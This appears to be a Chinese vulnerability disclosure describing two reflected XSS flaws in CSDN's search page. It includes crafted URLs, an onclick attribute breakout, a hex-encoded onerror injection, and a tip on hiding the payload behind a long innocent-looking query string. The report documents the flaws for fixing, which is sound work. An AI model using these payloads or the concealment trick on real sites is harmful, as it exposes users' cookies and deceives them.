csdn某处存在反射型xss..刚才发了一个,这个是另外一种情况的,我把两个都写在这,那个没写详细,所以管理看到的话把刚那个删了吧。

详细说明:

漏洞页面时csdn的搜索 http://so.csdn.net/search? 存在两处不同的xss漏洞
搜索的链接是

http://so.csdn.net/search?utf8=%E2%9C%93&t=&q=xxx&commit=%E6%90%9C+%E7%B4%A2&sort=

这里xxx是我们输入的内容。那么查看源文件来搜索这个字符串。我这里字符串为“aaa”
1,第一处。
在这个页面的几乎每个链接中,都有一个onclick动作,这个动作在点击搜索结果的标题中发生。看代码

<a href="http://blog.csdn.net/walterhj/article/details/6070450" onclick="click_log('blog','aaa','6070450')" target="_blank">Simware结合Cisco ACS的<span class="keyword">AAA</span>实验</a>

然后可以试探把

onclick="click_log('blog','aaa','6070450')"

里的单引号和括号闭合,再写上我们自己的动作,这样用户点击搜索结果的时候就中招了。
构造参数

aaaa');alert(/xss/)//

然后得到链接

http://so.csdn.net/search?utf8=%E2%9C%93&t=&q=aaaaaa')%3balert(%2fxss%2f)//&commit=%E6%90%9C+%E7%B4%A2&sort=

。点击这个页面的任意搜索结果就可以弹出框框了。

image

经尝试cookie也可以正常弹出。而且执行完onclick后会自动跳转到用户想要的结果处。当然我

们可以把搜索请求的字符串弄长一些,把搜索框里的特殊字符给挤到后面让用户看不见,这样就可以神不知鬼不觉了。

image

image

我这没多想,比如可以弄

"提高汇编语言水平除了王爽以外可以看哪些书');alert(/xss/)//"

这样的长字符串+代码来防止被用户发现。把这个字符串转成url码插到q参数后面就能达成不错的效果。
2.第二处。
搜索“aaa”的时候,我还发现在源文件最下方有一条这样的语句:

<script>document.write("<img src=\"http://so.csdn.net/api/data/test/press?type=NewsTag&tagNames=aaa&page.size=15&page.autoCount=true&fields=description,created_at,id\" border=0 width=0 height=0>")</script>

这句代码的作用是写一个图片链接出来。那么我们能不能构造一下把这个图片的链接闭合然后写个onerror动作呢?这个页面没有过滤反斜杠,那么我们可以用十六进制编码来绕过。

"onerror="alert(/xss/)">的编码:\x22\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x22\x61\x6c\x65\x72\x74\x28\x2f\x78\x73\x73\x2f\x29\x22\x3e

完整链接如下

http://so.csdn.net/search?utf8=%E2%9C%93&t=&q=\x22\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x22\x61\x6c\x65\x72\x74\x28\x2f\x78\x73\x73\x2f\x29\x22\x3e&commit=%E6%90%9C+%E7%B4%A2&sort=

这个与上面那个相比可以直接弹框,不过在我的电脑上加载的特别慢。

image

修复方案:

加强过滤

源链接

Hacking more

...